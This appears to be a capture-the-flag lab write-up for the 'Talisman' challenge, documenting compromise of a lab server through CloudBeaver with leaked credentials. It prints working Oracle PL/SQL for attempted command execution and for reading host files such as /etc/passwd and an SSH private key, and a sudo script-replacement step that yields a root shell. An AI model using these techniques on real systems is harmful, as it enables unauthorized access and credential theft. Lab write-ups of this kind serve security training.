Talisman
Challenge Lab (Easy) - by TheKeen
The following post by 0xb0b is licensed under CC BY 4.0
Scenario
Objective and Scope
You have been assigned a penetration test on a critical Linux server in the client's environment. The scope is strictly limited to a single Linux server environment designated as the target. The primary objective is to gain root-level access to this system to demonstrate maximum impact and the full extent of the security compromise to the client.
A set of leaked credentials, recently recovered from a third-party data breach, have been provided. While the specific service or application these credentials belong to is unknown, they serve as the initial vector for establishing a foothold.
Leaked Credentials
jane / Greattalisman1!
Recon
We start with a rustscan followed by services and default script scan, but we only find port 22
SSH and port 8978
to be open.
rustscan -a talisman.hsm -- -sC -sV

On port 8978
a web server seems to be running.

Visting the site at 8978
reveals to us an instance of CloudBeaver Community. We log in using the credentials available from the scenario description:
jane / Greattalisman1!

Shell as oracle
After logging in we see an available Oracle connection on 172.17.0.1
. By clicking on that connection we see we have an SQL Editor available and are the user DEV
. Besides DEV
further users are available to chose from the drop down.

Failed Attempt RCE
Oracle RCE via DBMS_SCHEDULER
With the following PL/SQL block we try to create a scheduled job in Oracle that launches /bin/sh
with the argument -c "id"
. When enabled, it executes the id
command on the underlying operating system, demonstrating command execution through DBMS_SCHEDULER
. If that would have run successfully we could replace the id command with a reverse shell to get an interactive session on the machine.
BEGIN
DBMS_SCHEDULER.CREATE_JOB(
job_name => 'shelljob',
job_type => 'EXECUTABLE',
job_action => '/bin/sh',
number_of_arguments => 1,
enabled => FALSE
);
DBMS_SCHEDULER.SET_JOB_ARGUMENT_VALUE('shelljob',1,'-c "id"');
DBMS_SCHEDULER.ENABLE('shelljob');
END;

RCE via Java Stored Procedure in Oracle
Since we are not allowed to create a scheduled job executing commands we try it with a Java Stored Procedure. Maybe that works out.
Firs, we registers a Java method as a PL/SQL stored procedure run_cmd
that can execute operating system commands via ExecOS.runCmd()
.
BEGIN
EXECUTE IMMEDIATE 'CREATE OR REPLACE PROCEDURE run_cmd(p_cmd IN VARCHAR2) AS LANGUAGE JAVA NAME ''ExecOS.runCmd(java.lang.String)'';';
END;

Next, we verify that the procedure exists. We see it's actually valid. We have a stored procedure and no errors in our java source code.
SELECT object_name, status
FROM user_objects
WHERE object_name = 'RUN_CMD';

Now we try to call run_cmd
with the argument id
, causing the database to execute the id
command on the host system. But we get an Error. We are missing the Permission to execute.
BEGIN run_cmd('id'); END;

File Read
Since our two code execution attempts did not work, let's first check what permissions we actually have. We have the permission DROP ANY DIRECTORY
and CREATE ANY DIRECTORY
, which should allow us to rad files on the target system.
... the
CREATE
DIRECTORY
statement to create a directory object. A directory object specifies an alias for a directory on the server file system where external binary file LOBs (BFILE
s) and external table data are located. You can use directory names when referring toBFILE
s in your PL/SQL code and OCI calls, rather than hard coding the operating system path name, for management flexibility.All directories are created in a single namespace and are not owned by an individual schema. You can secure access to the
BFILE
s stored within the directory structure by granting object privileges on the directories to specific users.
SELECT * FROM USER_SYS_PRIVS;

The following post on Stack Overflow gives us an idea of how we can read privileged files on the system.
We are using the second example crafting a more elegant query using DBMS_XSLPROCESSOR.READ2CLOB
.
BEGIN
EXECUTE IMMEDIATE 'CREATE OR REPLACE DIRECTORY dir_etc AS ''/etc''';
DBMS_OUTPUT.PUT_LINE(DBMS_XSLPROCESSOR.READ2CLOB('DIR_ETC','passwd'));
END;
Let's break down what it actually dow:
EXECUTE IMMEDIATE 'CREATE OR REPLACE DIRECTORY dir_etc AS ''/etc''';
EXECUTE IMMEDIATE 'CREATE OR REPLACE DIRECTORY dir_etc AS ''/etc''';
EXECUTE IMMEDIATE
= run the SQL command dynamically.CREATE OR REPLACE DIRECTORY
= tells Oracle to create a “directory object,” which is basically a pointer to an OS folder.dir_etc
= the name you give to this Oracle object.AS '/etc'
= points the object to the real filesystem directory/etc
.The doubled single quotes (
''/etc''
) are just PL/SQL’s way of escaping quotes inside a string.
DBMS_OUTPUT.PUT_LINE(DBMS_XSLPROCESSOR.READ2CLOB('DIR_ETC','passwd'));
DBMS_OUTPUT.PUT_LINE(DBMS_XSLPROCESSOR.READ2CLOB('DIR_ETC','passwd'));
DBMS_XSLPROCESSOR.READ2CLOB
is a built-in Oracle function that can read a file into a CLOB (character large object).It takes two arguments:
The directory object name (
'DIR_ETC'
).The filename within that directory (
'passwd'
).
So this call reads
/etc/passwd
from the OS.DBMS_OUTPUT.PUT_LINE
just prints it out to the SQL*Plus / SQLcl output buffer so you can see it.
So with this command we are able to read /etc/passwd
.
To show the output we click on the following symbol for Server output
to be able to view the results.

We evaluate the statement see that there is an oracle
user.

Next, we could try to get file to receive access. One could be an SSH private key.
We check if we can access the .ssh
folder by retrieving the authorized_keys
file. There is also an entry, but we cannot derive which sort of a key might be there. Next, we could try some default names like id_rsa
or id_ed25519
.
BEGIN
EXECUTE IMMEDIATE 'CREATE OR REPLACE DIRECTORY dir AS ''/home/oracle/.ssh''';
DBMS_OUTPUT.PUT_LINE(DBMS_XSLPROCESSOR.READ2CLOB('DIR_ETC','authorized_keys'));
END;

We try to retrieve the id_rsa
file in .ssh
. And there is one. We get the private key of oracle
.
BEGIN
EXECUTE IMMEDIATE 'CREATE OR REPLACE DIRECTORY dir AS ''/home/oracle/.ssh''';
DBMS_OUTPUT.PUT_LINE(DBMS_XSLPROCESSOR.READ2CLOB('DIR','id_rsa'));
END;

We copy the key to our machine and change the permissions.
chmod 600 id_rsa
We connect as oracle
via SSH using the key and are successful. We'll find the user.txt
in the home directory. In theroy we could retrieve the key also with the file read permission in oracle.
ssh -i id_rsa oracle@talisman.hsm

Shell as root
Next, we start our enumeration process on the target. While checking our permissions for sudo we see that we are able to execute the script /opt/oracle/product/21c/dbhomeXE/root.sh
with root
permssions without providing a password. If we could hijack that script we could gain root
access.
sudo -l
We check the permissions on the foler /opt/oracle/product/21c
and we are the owner of the folder. We do not have write
permissions on /opt/oracle/product/21c/dbhomeXE/root.sh
, but since we are the owner of the folder. We can just delete the script and replace it.
ls -lah /opt/oracle/product/21c

We remove the script.
rm ls -lah /opt/oracle/product/21c/dbhomeXE/root.sh
And create a new one spawing us an interactive bash.
#!/bin/bash
/bin/bash -i
vi /opt/oracle/product/21c/dbhomeXE/root.sh
Now we add execute persmissions,...
chmod +x /opt/oracle/product/21c/dbhomeXE/root.sh

..., and execute the script using sudo
. We receive a root
shell and are able to reach the final flag at /root/root.txt
.
sudo /opt/oracle/product/21c/dbhomeXE/root.sh

Last updated
Was this helpful?